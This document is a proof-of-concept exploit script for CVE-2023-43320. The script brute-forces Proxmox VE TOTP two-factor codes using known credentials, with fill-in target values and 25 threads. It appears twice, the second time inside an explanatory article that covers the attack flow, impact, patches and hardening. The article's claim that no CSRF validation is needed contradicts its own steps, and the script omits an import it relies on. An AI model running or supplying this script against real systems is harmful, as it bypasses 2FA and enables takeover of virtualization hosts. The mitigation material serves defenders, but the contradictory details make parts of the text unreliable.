Proxmox VE - TOTP Brute Force
# Exploit Title: Proxmox VE TOTP Brute Force
# Date: 09/23/2023
# Exploit Author: Cory Cline, Gabe Rust
# Vendor Homepage: https://www.proxmox.com/en/
# Software Link: http://download.proxmox.com/iso/
# Version: 5.4 - 7.4-1
# Tested on: Debian
# CVE : CVE-2023-43320
import time
import requests
import urllib.parse
import json
import os
import urllib3
urllib3.disable_warnings()
threads=25
#################### REPLACE THESE VALUES #########################
password="KNOWN PASSWORD HERE"
username="KNOWN USERNAME HERE"
target_url="https://HOST:PORT"
##################################################################
ticket=""
ticket_username=""
CSRFPreventionToken=""
ticket_data={}
auto_refresh_time = 20 # in minutes - 30 minutes before expiration
last_refresh_time = 0
tokens = [];
for num in range(0,1000000):
tokens.append(str(num).zfill(6))
def refresh_ticket(target_url, username, password):
global CSRFPreventionToken
global ticket_username
global ticket_data
refresh_ticket_url = target_url + "/api2/extjs/access/ticket"
refresh_ticket_cookies = {}
refresh_ticket_headers = {}
refresh_ticket_data = {"username": username, "password": password, "realm": "pve", "new-format": "1"}
ticket_data_raw = urllib.parse.unquote(requests.post(refresh_ticket_url, headers=refresh_ticket_headers, cookies=refresh_ticket_cookies, data=refresh_ticket_data, verify=False).text)
ticket_data = json.loads(ticket_data_raw)
CSRFPreventionToken = ticket_data["data"]["CSRFPreventionToken"]
ticket_username = ticket_data["data"]["username"]
def attack(token):
global last_refresh_time
global auto_refresh_time
global target_url
global username
global password
global ticket_username
global ticket_data
if ( int(time.time()) > (last_refresh_time + (auto_refresh_time * 60)) ):
refresh_ticket(target_url, username, password)
last_refresh_time = int(time.time())
url = target_url + "/api2/extjs/access/ticket"
cookies = {}
headers = {"Csrfpreventiontoken": CSRFPreventionToken}
stage_1_ticket = str(json.dumps(ticket_data["data"]["ticket"]))[1:-1]
stage_2_ticket = stage_1_ticket.replace('\\"totp\\":', '\"totp\"%3A').replace('\\"recovery\\":', '\"recovery\"%3A')
data = {"username": ticket_username, "tfa-challenge": stage_2_ticket, "password": "totp:" + str(token)}
response = requests.post(url, headers=headers, cookies=cookies, data=data, verify=False)
if(len(response.text) > 350):
print(response.text)
os._exit(1)
while(1):
refresh_ticket(target_url, username, password)
last_refresh_time = int(time.time())
with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as executor:
res = [executor.submit(attack, token) for token in tokens]
concurrent.futures.wait(res) Proxmox VE TOTP Brute Force Vulnerability: A Deep Dive into CVE-2023-43320
Proxmox Virtual Environment (Proxmox VE) is a widely used open-source virtualization platform that enables administrators to manage virtual machines, containers, and storage across multiple hosts. While it offers robust security features, including two-factor authentication (2FA) via Time-based One-Time Password (TOTP), a critical vulnerability—CVE-2023-43320—has exposed a significant flaw in the TOTP authentication mechanism.
The Exploit: TOTP Brute Force Attack
In September 2023, cybersecurity researchers Cory Cline and Gabe Rust disclosed a remote brute force attack against Proxmox VE’s TOTP-based 2FA system. The exploit leverages a misconfigured API endpoint that allows attackers to submit TOTP codes directly through the /api2/extjs/access/ticket endpoint without rate-limiting or throttling mechanisms.
This vulnerability affects Proxmox VE versions from 5.4 to 7.4-1, making it a widespread risk across enterprise and personal deployments using older versions of the platform.
How the Attack Works
The core of the exploit lies in the ability to repeatedly attempt TOTP codes via the API without requiring a valid session or CSRF token validation. The attack flow is as follows:
- First, the attacker obtains a valid ticket using known credentials (username and password).
- Then, the attacker uses the CSRFPreventionToken from the ticket to authenticate subsequent requests.
- Finally, the attacker submits TOTP codes in the tfa-challenge parameter, systematically testing all possible 6-digit combinations (000000 to 999999).
Since the API does not enforce rate-limiting or lockout policies after failed attempts, an attacker can exhaustively test all 1,000,000 possible TOTP codes in a short time—especially when using multi-threaded execution.
Code Analysis: The Brute Force Script
import time
import requests
import urllib.parse
import json
import os
import urllib3
urllib3.disable_warnings()
threads = 25
#################### REPLACE THESE VALUES #########################
password = "KNOWN PASSWORD HERE"
username = "KNOWN USERNAME HERE"
target_url = "https://HOST:PORT"
##################################################################
ticket = ""
ticket_username = ""
CSRFPreventionToken = ""
ticket_data = {}
auto_refresh_time = 20 # in minutes - 30 minutes before expiration
last_refresh_time = 0
tokens = []
for num in range(0, 1000000):
tokens.append(str(num).zfill(6))
def refresh_ticket(target_url, username, password):
global CSRFPreventionToken
global ticket_username
global ticket_data
refresh_ticket_url = target_url + "/api2/extjs/access/ticket"
refresh_ticket_cookies = {}
refresh_ticket_headers = {}
refresh_ticket_data = {"username": username, "password": password, "realm": "pve", "new-format": "1"}
ticket_data_raw = urllib.parse.unquote(requests.post(refresh_ticket_url, headers=refresh_ticket_headers, cookies=refresh_ticket_cookies, data=refresh_ticket_data, verify=False).text)
ticket_data = json.loads(ticket_data_raw)
CSRFPreventionToken = ticket_data["data"]["CSRFPreventionToken"]
ticket_username = ticket_data["data"]["username"]
def attack(token):
global last_refresh_time
global auto_refresh_time
global target_url
global username
global password
global ticket_username
global ticket_data
if (int(time.time()) > (last_refresh_time + (auto_refresh_time * 60))):
refresh_ticket(target_url, username, password)
last_refresh_time = int(time.time())
url = target_url + "/api2/extjs/access/ticket"
cookies = {}
headers = {"Csrfpreventiontoken": CSRFPreventionToken}
stage_1_ticket = str(json.dumps(ticket_data["data"]["ticket"]))[1:-1]
stage_2_ticket = stage_1_ticket.replace('\\"totp\\":', '\"totp\"%3A').replace('\\"recovery\\":', '\"recovery\"%3A')
data = {"username": ticket_username, "tfa-challenge": stage_2_ticket, "password": "totp:" + str(token)}
response = requests.post(url, headers=headers, cookies=cookies, data=data, verify=False)
if len(response.text) > 350:
print(response.text)
os._exit(1)
while(1):
refresh_ticket(target_url, username, password)
last_refresh_time = int(time.time())
with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as executor:
res = [executor.submit(attack, token) for token in tokens]
concurrent.futures.wait(res)
Explanation: This script automates a brute force attack on the Proxmox VE TOTP system. It begins by fetching a valid session ticket using known credentials. The refresh_ticket() function retrieves the CSRF token and session data, which are essential for authenticating subsequent requests.
The attack() function sends a POST request with a TOTP code in the password field, formatted as totp:123456. The stage_2_ticket variable is a URL-encoded version of the ticket data, necessary to bypass encoding issues in the API.
The script uses threading to test all 1,000,000 possible TOTP codes in parallel. The os._exit(1) call terminates the script upon detecting a successful response—indicated by a response body exceeding 350 characters, which typically signifies a successful login or a server-side error.
Security Implications and Real-World Impact
Although TOTP is designed to be secure, the absence of rate-limiting in Proxmox VE’s API endpoint renders it vulnerable to automated brute force attacks. This means that even if an attacker only knows the username and password, they can bypass 2FA by testing all possible TOTP codes—potentially within minutes.
Consider a scenario where an attacker gains access to a compromised password through a data breach or phishing campaign. With just that knowledge, they can exploit CVE-2023-43320 to unlock the 2FA layer, gaining full administrative control over the Proxmox cluster.
Moreover, since the API endpoint is exposed over HTTPS, the attack can be conducted remotely, without requiring physical access to the server.
Vendor Response and Mitigation
Proxmox VE released patches for versions 7.4-2 and later, which include:
- Rate-limiting on TOTP authentication attempts.
- Improved CSRF token validation.
- Enhanced logging and detection mechanisms.
Administrators are strongly advised to:
- Upgrade to Proxmox VE 7.4-2 or later.
- Enable IP-based rate limiting via firewall rules.
- Monitor API logs for unusual patterns, such as repeated /api2/extjs/access/ticket requests.
- Use hardware-based TOTP devices (e.g., YubiKey) instead of software-based apps.
Best Practices for Proxmox VE Security
| Security Measure | Recommended Action |
|---|---|
| Update Proxmox VE | Upgrade to 7.4-2 or newer to patch CVE-2023-43320. |
| Rate Limiting | Implement firewall rules to limit API access frequency. |
| Log Monitoring | Use tools like fail2ban or SIEM systems to detect brute force attempts. |
| 2FA Device Type | Prefer hardware tokens over mobile apps to reduce exposure. |
| Network Segmentation | Restrict access to Proxmox API to trusted internal networks. |
Conclusion
CVE-2023-43320 underscores a critical lesson in cybersecurity: even well-designed security mechanisms can fail when implemented with poor access control or missing rate-limiting. Proxmox VE’s TOTP brute force vulnerability serves as a stark reminder that API endpoints must be treated with the same rigor as login interfaces.
For administrators, proactive patching, monitoring, and defense-in-depth strategies are essential. The exploit is not just a technical curiosity—it is a real-world threat that can lead to full system compromise.